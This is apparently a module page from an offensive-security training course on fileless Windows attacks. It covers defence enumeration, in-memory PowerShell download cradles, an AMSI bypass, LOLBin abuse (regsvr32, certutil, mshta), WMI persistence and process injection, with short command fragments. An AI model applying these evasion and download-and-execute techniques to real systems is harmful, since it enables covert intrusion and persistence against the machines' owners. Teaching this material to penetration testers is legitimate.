Fileless Attacks & Evasion: PT2 Module 13

Modern endpoint protection scans files. Fileless attacks shift the entire execution path off disk: PowerShell payloads loaded straight into memory, native Windows binaries (LOLBins) doing the attacker's work, WMI event subscriptions storing persistence in a system database instead of a file, and process injection running code inside a trusted process so nothing new ever appears in a process listing. PT2 tests whether you can enumerate the defensive posture, pick the fileless primitive that evades it, and persist in a way file-based scanners never see.

Defensive Enumeration

Baseline before any evasion attempt: what AV product is installed, Defender real-time status, AMSI provider state, AppLocker rules, Credential Guard, LSA protection. Each one disables or detects a specific class of fileless technique; the one not deployed is the one to lean on.

In-Memory Execution

PowerShell download cradles (IEX (New-Object Net.WebClient).DownloadString('http://...')) load remote scripts straight into memory. -EncodedCommand hides base64-encoded commands from casual process-command-line inspection (expects UTF-16LE encoding). AMSI intercepts decoded script content before execution; bypass by patching AmsiUtils.amsiInitFailed via reflection, process-scoped and leaves no on-disk trace.

LOLBins

Signed Windows binaries whitelisted by every application control policy, instructed to do things they were never meant to: mshta.exe executes HTA with embedded VBScript, regsvr32 /n /u /i: scrobj.dll runs remote scriptlets (Squiblydoo), certutil -urlcache downloads files and -decode base64, wmic /format: executes remote XSL stylesheets with embedded JScript, rundll32 calls DLL exports. Process lineage is attacker code running under a Microsoft-signed parent.

WMI Execution And Persistence

WMI is the admin backbone every monitoring tool expects to see active. Win32_Process.Create spawns processes as a child of WmiPrvSE.exe, not cmd.exe. Event subscriptions (__EventFilter + ActiveScriptEventConsumer + __FilterToConsumerBinding) store a VBScript payload inside the WMI repository on disk, invisible to file-based AV, triggered by any WQL event (uptime, process start, registry change).

Named-Pipe Lateral Movement

psexec drops a service binary to ADMIN$ and registers it via \pipe\svcctl for execution. smbexec sets the service binary path to cmd.exe /c ... and skips the drop entirely, pure fileless lateral movement over SMB. Same SCM mechanism, different footprint.

Process Injection

VirtualAllocEx + WriteProcessMemory + CreateRemoteThread runs shellcode inside a running process. Reflective DLL injection skips LoadLibrary so no new module appears in the target's module list. Process hollowing starts a legitimate process suspended, replaces its image with your payload, resumes. Meterpreter migrate wraps the whole workflow for operators.

Persistence Without Files

Registry autoruns, scheduled tasks with inline PowerShell, service manipulation on existing services, and COM hijacking all persist without dropping a PE. WMI event subscriptions are the quietest, surviving reboots and most incident response actions that focus on file artifacts.

Fileless Attacks & Evasion